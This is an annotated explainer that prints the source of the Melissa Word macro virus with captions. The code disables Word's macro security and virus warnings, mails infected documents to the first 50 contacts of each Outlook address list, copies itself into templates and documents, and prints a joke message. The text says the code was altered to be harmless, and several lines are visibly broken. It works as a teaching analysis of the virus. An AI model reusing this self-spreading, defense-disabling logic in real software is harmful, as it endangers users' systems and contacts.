

# Source of Mischief

The source code of the Melissa e-mail virus breaks down into distinct functions [colored blocks]: the virus neutralizes defenses by turning off macro warning messages in Microsoft Word, transmits itself by e-mail to other computers, infects other Word documents edited on the affected system, and finally delivers its payload—a quote from “The Simpsons” TV show. Melissa will refrain from transmitting itself by e-mail if the target computer has already been infected and uses different code for handling different versions of Word. [Arrows indicate program flow.] Slight changes have been made to this source code to render it harmless.

```

Private Sub Document_Open
On Error Resume Next
End Sub
    
```

**Name of infected macro**

**Tells computer to ignore errors caused by Melissa when it runs**

## Neutralize Word Defenses against Macros

```

IF System.PrivateProfileString("", HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security, "Level") <> "
Word 2000
Then
CommandBars("Marco").Controls("Security...").Enabled =
False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Se
curity", "Level") = 1&
Word 97
Else
CommandBars("Tools").Controls("Marco").Enabled = False
Options.ConfirmConversions = (1 - 1); Options.VirusProtection = (1 - 1);
Options.SaveNormalPromt = (1 - 1)
End If
    
```

**Word 2000** → **Disable access to Marco security controls**

**Word 97** → **Is target running Word 97 or 2000?**

**Set security setting to the lowest level**

**Turn off virus protection and other warnings**

**Disable access to Marco security controls**

```

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", HKEY_CURRENT_USER\Software\Software\Microsoft\Office\, "Melissa?") <> "... by Kwjibjo" Then
    
```

**Check whether computer is already infected by Melissa**

**Computer not already infected**

**Computer already infected**

## Transmission

```

If UngaDasOutlook = "Outlook" Then
End Sub
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ...
don't show anyone else ; -)"
BreakUmOffASlice.Attachments.Add
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\, "Melissa?") = "...
by Kwjibjo"
End If
    
```

**Get the first 50 e-mail addresses from every list in Outlook**

**Attach current (infected) document to e-mail**

**Send e-mail**

**Set Melissa installed flag in the Windows registry**

## Replication and Infection

```

Set ADIL = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTIL = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTIL.CodeModule.CountOfLines
ADCL = ADIL.CodeModule.CountOfLines
BGN = 2
If ADIL.Name <> "Melissa" Then
IF ADCL > 0 Then ADIL.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADIL
ADIL.Name = "Melissa"
DoAD = True
End If
End Sub
    
```

**If the current document or default template used for setting up Word document is not yet infected, mark it for infection**

```

If Dont <> True And DoAD
<> True Then GoTo CYA
    
```

**Template marked for infection**

**Document marked for infection**

```

If DoAD = True Then
Do While NTIL.CodeModule.Lines(1, 1) = ""
NTIL.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString("Private Sub
Document_Open()")
Do While NTIL.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN
NTIL.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
    
```

**Copy virus line by line into the Document\_Close macro of template**

**Copy virus line by line into Document\_Open macro of the document**

```

If Don't = True Then
Do While ADIL.CodeModule.Lines(1, 1) = ""
ADIL.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString("Private Sub
Document_Close()")
Do While ADIL.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN
ADIL.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
    
```

```

CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs Filename:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
End Sub
    
```

**Save infected document**

```

'Word/Melissa written by Kwjibjo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <-> Word 2000 ... it's a new age!
    
```

**Some comments by the author of the code**

## Payload

```

If Day(Now) = Minute(Now) Then
Selection.TypeText " Twenty-Two
points, plus triple-word-score,
plus fifty points for using
all my letters. Game's over.
I'm outta here."
End Sub
    
```

**If the day of the month equals the minute of the hour, print a message**